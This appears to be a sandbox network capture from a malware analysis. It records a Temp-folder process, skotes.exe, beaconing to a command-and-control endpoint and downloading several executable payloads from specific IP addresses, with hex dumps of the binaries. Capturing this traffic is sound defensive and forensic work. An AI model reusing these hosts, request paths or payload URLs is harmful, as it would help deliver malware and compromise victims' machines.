Dec 16, 2024 17:03:22.196855068 CET	1120	IN	Data Raw: cf 27 63 73 69 ad 3a f1 fe 62 3e 6a e6 04 c5 55 e7 66 d3 b2 ea 18 2b eb 03 59 40 ed 6c 0a df de 11 32 2f 43 3b 30 0a 0f 81 70 c0 dc 42 29 4b 8f 10 1e 2f fa 0b 8f 27 75 a6 22 7b 10 4a 7c 9d 24 02 25 8c 45 3e 54 5c 4b b2 0e ef 25 36 55 42 79 45 83 Data Ascii: 'csi:b>jUf+Y@l2/C;0pB)K/'u"{J\|$%E>T\K%6UByE+b#hGE!vGU%mD[f)#dydGY[t*_n$5uF,1w#1"ta{ybbm`xc,bVi"lg_0X
Dec 16, 2024 17:03:22.300694942 CET	1236	IN	Data Raw: e4 3a a7 1a 91 a7 bb 14 82 de 3f d6 d3 1a 1f 6f ff fb 18 30 8f ca 28 bc 92 33 ee 0a fc 23 59 d1 ae 2a 9c 71 e8 b9 4f 5d 26 3b 83 11 9f 29 23 ca b9 9e ab 03 60 52 21 98 60 44 19 69 d2 c6 0a 32 89 2c 1b b3 35 69 32 1e fc 46 68 d8 20 d5 14 28 85 a3 Data Ascii: :?o0(3#Y*qO]&;)#`R!`Di2,5i2Fh (nA_}e\|n/)H3Wr.8B9VGCq=Vw`-Lu\|9{,x ~<ps[rC5-)A~~;-KL-\e <@Y)fR0e)Sa+1@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49939	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:03:31.885833025 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 37 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016179001&unit=246122658369
Dec 16, 2024 17:03:33.239974022 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:03:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49944	31.41.244.11	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:03:33.367589951 CET	66	OUT	GET /files/7055252561/p9rUYZq.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 17:03:34.690392971 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:03:34 GMT Content-Type: application/octet-stream Content-Length: 4550656 Last-Modified: Mon, 16 Dec 2024 15:53:26 GMT Connection: keep-alive ETag: "67604cf6-457000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 a8 42 60 67 00 00 00 00 00 00 00 00 e0 00 2e 03 0b 01 02 2b 00 a6 02 00 00 6c 45 00 00 02 00 00 d0 13 00 00 00 10 00 00 00 c0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 e0 45 00 00 04 00 00 73 ff 45 00 02 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 60 45 00 ac 11 00 00 00 a0 45 00 3f 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 45 00 ac 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e4 99 44 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELB`g.+lE@EsE@ `EE?EDcEP.text``.dataT@.rdataAA@@.eh_framDzD@@.bssPE.idata`E(E@.CRT8E:E@.tlsE<E@.rsrc?E>E@@.relocEVE@B
Dec 16, 2024 17:03:34.690820932 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c3 2e 8d b4 26 00 00 00 00 8d b4 26 00 00 00 00 83 ec 1c 31 c0 66 81 3d 00 Data Ascii: .&&1f=@MZQQQu<@@PE@tZPQt<$8+QQ=@BtH1f$
Dec 16, 2024 17:03:34.690831900 CET	1236	IN	Data Raw: e8 fc 8d 02 00 eb c2 66 90 0f b7 51 18 66 81 fa 0b 01 74 3d 66 81 fa 0b 02 75 94 83 b9 84 00 00 00 0e 76 8b 8b 91 f8 00 00 00 31 c0 85 d2 0f 95 c0 e9 79 ff ff ff 8d 76 00 c7 04 24 20 a2 42 00 e8 04 97 02 00 31 c0 83 c4 1c c3 8d b6 00 00 00 00 83 Data Ascii: fQft=fuv1yv$ B1ytT1B.&t&<QD$PD$,D$,D$QD$PD$$P'<vL$qUWVS1Q(dx5d&9
Dec 16, 2024 17:03:34.691037893 CET	1236	IN	Data Raw: 81 c9 00 d8 00 00 31 c0 66 89 56 0c 40 89 ca eb 18 83 27 00 0f b7 06 66 83 f8 02 75 04 31 c0 eb 08 0f b7 56 02 66 83 26 00 5e 5f 5d c3 55 89 e5 57 56 83 79 04 00 89 ce 74 5e 0f b7 56 0c 66 85 d2 74 0a 66 83 66 0c 00 31 c0 40 eb 60 8d 7e 04 89 f9 Data Ascii: 1fV@'fu1Vf&^_]UWVyt^Vftff1@`~m u.v1fV@'fu1Vf&^_]USWVztuk-Nu4&Ff9}J-
Dec 16, 2024 17:03:34.691050053 CET	1236	IN	Data Raw: 04 88 89 c1 d1 e8 21 d9 21 d8 8d 04 48 89 45 e0 b8 0f 0f 0f 0f 21 c7 21 c2 c1 e7 04 09 d7 89 fa c1 ef 02 21 f2 21 f7 8d 0c 97 bf 55 55 55 55 89 ca d1 e9 21 da 21 d9 8d 0c 51 8b 55 e8 89 4d d8 b9 33 33 33 33 33 95 10 ff ff ff 89 55 e8 0f ca 89 d6 Data Ascii: !!HE!!!!UUUU!!QUM33333U!!!!!!ruUU3u!!E!!M4!!~u}x\|13}11M
Dec 16, 2024 17:03:34.691060066 CET	672	IN	Data Raw: 0f 0f 0f 8d 04 50 8b 55 e8 d1 e8 31 c6 8b 45 ec 89 b5 70 ff ff ff be 0f 0f 0f 0f 33 55 e0 31 c8 0f c9 31 c2 0f ca 89 d0 21 f2 c1 e8 04 c1 e2 04 21 f0 be 33 33 33 33 09 c2 89 d0 c1 ea 02 21 f0 21 f2 be 55 55 55 55 8d 04 82 89 c2 d1 e8 21 f2 be 54 Data Ascii: PU1Ep3U11!!3333!!UUUU!TUUU!3333P33333Et!!!!UUUU!TUUU!PUUUU3Ex!!!!!!H\|jXt@p
Dec 16, 2024 17:03:34.691941023 CET	1236	IN	Data Raw: 00 f3 0f 7f 02 5d c3 55 89 e5 53 57 56 83 ec 38 ff d1 85 c0 74 65 c7 45 c4 dc d1 42 00 c7 45 c8 02 00 00 00 83 65 d4 00 8d 4d e8 89 01 8d 45 bc 89 51 04 89 08 89 45 cc c7 40 04 e3 39 40 00 c7 45 d0 01 00 00 00 e8 0b 98 00 00 f3 0f 7e 05 a0 50 85 Data Ascii: ]USWV8teEBEeMEQE@9@E~PfpUf~f~11uP@*1Pfnfn1fb@fCPEu~FPEP/HYttb]uUNtMI
Dec 16, 2024 17:03:34.691951036 CET	224	IN	Data Raw: 00 00 66 0f 6f 9c 24 c0 00 00 00 66 0f 70 06 ff 8d b4 24 40 03 00 00 8d 94 24 50 01 00 00 89 f1 66 0f 6f cb 66 0f 6f d3 66 0f 6f e3 66 0f 73 fa 08 66 0f 73 f9 04 66 0f 73 fc 0c 66 0f ef d0 66 0f ef e1 66 0f ef e2 66 0f ef e3 66 0f 7f a4 24 80 00 Data Ascii: fo$fp$@$Pfofofofsfsfsfffff$f"8fo$fp$@$fofofofsfsfsfffffd$pf"8fo$fp$@T$fofofofs
Dec 16, 2024 17:03:34.691971064 CET	1236	IN	Data Raw: 08 66 0f 73 f9 04 66 0f 73 fc 0c 66 0f ef d0 66 0f ef e1 66 0f ef e2 66 0f ef e3 66 0f 7f a4 24 f0 00 00 00 66 0f 7f 22 e8 36 38 00 00 66 0f 6f 5c 24 70 66 0f 70 06 aa 8d b4 24 40 03 00 00 8d 94 24 d0 00 00 00 89 f1 66 0f 6f cb 66 0f 6f d3 66 0f Data Ascii: fsfsfffff$f"68fo\$pfp$@$fofofofsfsfsfffffd$ f"8fo$fp$@$fofofofsfsfsfffff$f"7fo\$ fp$@T$@
Dec 16, 2024 17:03:34.691982985 CET	1236	IN	Data Raw: 0f 10 8c 24 68 01 00 00 8d 74 24 44 89 3c 24 83 c7 f0 89 5e fc 8d 5c 24 10 89 d9 f2 0f 11 06 f2 0f 11 4e 08 83 66 10 00 e8 39 23 00 00 a0 04 c0 42 00 3c 01 75 12 8d 8c 24 40 03 00 00 89 f2 53 e8 f2 0f 00 00 58 eb 56 8d 8c 24 d0 00 00 00 89 f2 e8 Data Ascii: $ht$D<$^\$Nf9#B<u$@SXV$`$"$$`$@S(XNL$D$D$PL$@~T$H~\$~d$$`FfV$f$$f$Xf
Dec 16, 2024 17:03:34.811044931 CET	1236	IN	Data Raw: 94 24 d0 00 00 00 89 02 e8 34 4c 00 00 83 f8 0b 74 1c 8d 4c 24 10 8d 94 24 d0 00 00 00 83 21 00 e8 1c 4c 00 00 83 f8 0b 0f 85 1c 04 00 00 8b 8c 24 90 00 00 00 0f b6 c3 c1 eb 08 81 84 24 20 01 00 00 38 01 00 00 89 b4 24 e8 00 00 00 69 d3 00 28 00 Data Ascii: $4LtL$$!L$$ 8$i(k($4$L$ $t%HT$x(L$ PpQRvmL$D$ T$p$+L4tytnt`$Fu>tBj_1N9t)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49958	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:03:39.089662075 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 31 36 31 38 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1016180001&unit=246122658369
Dec 16, 2024 17:03:40.428572893 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:03:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49963	31.41.244.11	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:03:40.557315111 CET	60	OUT	GET /files/flava/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 17:03:41.886718988 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:03:41 GMT Content-Type: application/octet-stream Content-Length: 1834496 Last-Modified: Sat, 14 Dec 2024 21:12:38 GMT Connection: keep-alive ETag: "675df4c6-1bfe00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 62 fe 59 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 cc 03 00 00 b0 00 00 00 00 00 00 00 80 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 48 00 00 04 00 00 e2 b0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELbYgH@H@T0h 1 H@.rsrc X@.idata 0Z@ )@\@ubvmxkob.z^@xdawalmhpH@.taggant0H"@
Dec 16, 2024 17:03:41.886882067 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:03:41.887059927 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:03:41.887084007 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:03:41.887336016 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wF(9Wxgx7zMJ
Dec 16, 2024 17:03:41.887351036 CET	1236	IN	Data Raw: 23 97 e1 93 25 53 9f 47 0d 41 d1 06 d6 75 dc 32 14 9a 6f 50 46 f7 61 3f 2f 3d d0 44 68 b2 b8 6c ce 1c d4 76 bc 21 27 e7 b2 06 64 50 3d 24 4f ee cc 64 0e 1e 41 23 77 44 d4 6f d6 5d 11 d4 ca 2c 9d 9f 74 50 01 e2 f2 b3 82 a5 7b 84 66 26 bc d6 3c 01 Data Ascii: #%SGAu2oPFa?/=Dhlv!'dP=$OdA#wDo],tP{f&<lG Y%_F)LvMhq>24&05AiEj~7+]$V\u\/0Hr'% &9%1?"KxE\|2?R#^_uB
Dec 16, 2024 17:03:41.887366056 CET	672	IN	Data Raw: fa 61 c6 dd 0c d1 32 8c a9 32 54 8e 86 3c 7a 8c 5c 94 6f 01 dd 56 c0 b5 3e 2f e3 04 3e 4a a3 84 29 e9 da 77 2c 0b a0 83 09 01 d3 60 28 23 3e 19 e2 f6 ec c2 64 89 cc b3 c8 ab 0a 36 1b 21 18 e7 39 fc 02 26 48 45 92 71 0a f4 84 45 8e 81 98 30 3e 34 Data Ascii: a22T<z\oV>/>J)w,`(#>d6!9&HEqE0>4pg%"SN{&)d"Af8@3)6YMA7j-9r8bWkJhx<,7:r_\|htWG)D&Z0r"\|*AT:OLpzv=
Dec 16, 2024 17:03:41.887382030 CET	1236	IN	Data Raw: 7d 6b 7f 93 7a 87 f5 0e 3d 0a a1 d3 84 4a 93 eb 26 b9 52 69 d5 1d f5 0c 9f eb 81 31 9e e6 f9 c2 93 e1 04 3c f7 13 4f bb c6 21 c8 07 97 b7 78 a8 a7 61 88 7c 8d 28 fc 12 b0 0b f7 05 2b 29 ff 18 9f 84 b1 58 10 c4 1c 0d c1 e3 17 0a c0 05 13 12 bd f2 Data Ascii: }kz=J&Ri1<O!xa\|(+)X_/``zAmRAgxHIs6YuN(BHKe\|P&HI_z9f/UYKAjV=cAd"3E!?LJ&uu5sT'B
Dec 16, 2024 17:03:41.888139009 CET	224	IN	Data Raw: eb 32 d3 16 3f e0 de 71 f7 88 b0 9c 58 7a 03 a0 d6 69 71 59 33 6d a5 d9 26 58 b1 0b b7 57 eb 85 54 92 38 de 46 e0 7b 59 94 bf bf eb bd 41 5b 81 e5 69 a0 9a b7 cf da a2 f8 17 02 4b fa 25 a1 3a 0e 5d 82 6c f5 79 32 eb 4f fc d6 18 56 6c f8 ec 0a f9 Data Ascii: 2?qXziqY3m&XWT8F{YA[iK%:]ly2OVlGoUw/d#H\|xyw*H1)&Y5FD?_"Tv,L o$z8`cT{wj{g39[-y'8n>g\|(K,,E_,(1YP9X
Dec 16, 2024 17:03:41.888151884 CET	1236	IN	Data Raw: f5 13 bc c5 92 a1 99 42 28 65 c3 87 d8 e8 fe 66 99 a6 9d 8a d4 57 ff 20 bc 9e 0b 93 be 99 9f 36 9e 59 81 36 d2 7b 07 04 36 4d 62 35 05 31 5f 3e 01 7c 61 ab f3 0f 7a 57 9c c9 80 d3 17 49 46 66 5c ac cf 21 5f ac f1 04 dc 2d eb 20 3f 86 d8 eb 01 3b Data Ascii: B(efW 6Y6{6Mb51_>\|azWIFf\!_- ?;jY5WaUGT"\|\|Bn@yjOOG<u5<p)95v!<H',SxQ-'Uew}e6bJj1DRkCw
Dec 16, 2024 17:03:42.007133007 CET	1236	IN	Data Raw: f0 12 b0 f3 80 97 a5 53 85 32 8a 32 ea 95 ad e6 85 c2 36 24 f9 39 e7 39 04 59 35 51 c5 29 60 d1 bf 9a 75 b8 dd f9 97 48 2a 94 f4 16 4e fd c9 15 8c b1 04 52 b3 b7 40 83 3c db 38 53 9e e5 ec 83 0a 2a 61 27 d2 78 ef 64 bb 12 8a ae e7 2f 5b 4b 96 21 Data Ascii: S226$99Y5Q)`uHNR@<8Sa'xd/[K!_#P2TD?!{H:h#?lq+x>-5~p"$w6#~;\|jGrA&`\7Clz7H4LuraG.q/G/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49982	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:03:47.557985067 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 38 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016181001&unit=246122658369
Dec 16, 2024 17:03:48.893851995 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:03:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.8	49986	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:03:49.181184053 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 16, 2024 17:03:50.530994892 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:03:49 GMT Content-Type: application/octet-stream Content-Length: 2835456 Last-Modified: Mon, 16 Dec 2024 15:49:29 GMT Connection: keep-alive ETag: "67604c09-2b4400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 27 7e 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,'~+`Ui` @ @.rsrc`2@.idata 8@zhbmyutw+*:@tkykhzdh ++@.taggant@+""+@
Dec 16, 2024 17:03:50.531095028 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:03:50.531105042 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:03:50.531387091 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:03:50.531399965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:03:50.531869888 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:03:50.531893969 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:03:50.531905890 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:03:50.531917095 CET	1236	IN	Data Raw: 6d f2 92 75 ee 6c b1 a4 2e fa 89 69 6f 65 f7 a9 bf 7d b1 b4 ac ce f9 6b 77 26 e2 35 64 88 cc a8 e0 eb 17 3f 60 d0 22 a1 84 62 de 60 e4 b1 f7 f0 22 20 5f 78 e6 0f e2 f1 07 a0 b4 32 6c bd d8 cd ef 43 fa 68 50 17 d8 51 c2 10 11 a9 17 1a 17 52 74 11 Data Ascii: mul.ioe}kw&5d?`"b`" _x2lChPQRtlKPBXr!/j?p!bM1UBsp6qog^fcaD~9"\7AR!5i2gyot4"!fr.G4`S/^,,;<M!%lfigg
Dec 16, 2024 17:03:50.532665968 CET	1236	IN	Data Raw: 02 03 65 db 11 a0 a3 68 ef b6 fe c3 ec bb 3c 33 29 98 e3 db 67 e3 97 1d 1f 23 b6 db a9 d4 b4 79 2b c2 e0 64 93 33 f0 e6 6e 05 f2 71 5d 21 86 70 6d 00 d2 83 30 f7 fa 3f 25 32 e3 bf a2 0b e6 d1 6a 4c d3 f0 48 a3 ec 77 d5 fb 9f c4 3a 27 db 71 b9 61 Data Ascii: eh<3)g#y+d3nq]!pm0?%2jLHw:'qa7vEL *f.s,BS,e@U\H,GF\|iSu%farocm3~uj}o)Xh Aqeti#jJwv:k&AwRv(o>)tIisz
Dec 16, 2024 17:03:50.650991917 CET	1236	IN	Data Raw: 90 40 23 6c 34 79 c2 ba 4d 0d ea 68 f9 8a 73 e9 4b 88 e1 2e 35 ea af 62 0c 56 0c d8 cf 61 1d ca 4a 48 d1 a3 b2 6a 4d 36 4e b3 8c a4 ef 68 fc ee 8c 15 03 af ff 1e 4e 06 91 79 4a da 35 f9 75 4f 59 d9 26 5c fe 17 a6 a7 0f b6 c7 c7 ab bf 98 0e 30 64 Data Ascii: @#l4yMhsK.5bVaJHjM6NhNyJ5uOY&\0d3^2pV9<W7J?vD09is>h)3Ulr?O,CRmu#E0.J2b/NyHHCWd3m0{3l8c<tkn!)4{01I4gO.Nr{uVGSE-j&*Sf
Dec 16, 2024 17:03:55.338160992 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 16, 2024 17:03:55.780472040 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:03:55 GMT Content-Type: application/octet-stream Content-Length: 1796096 Last-Modified: Mon, 16 Dec 2024 14:47:26 GMT Connection: keep-alive ETag: "67603d7e-1b6800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 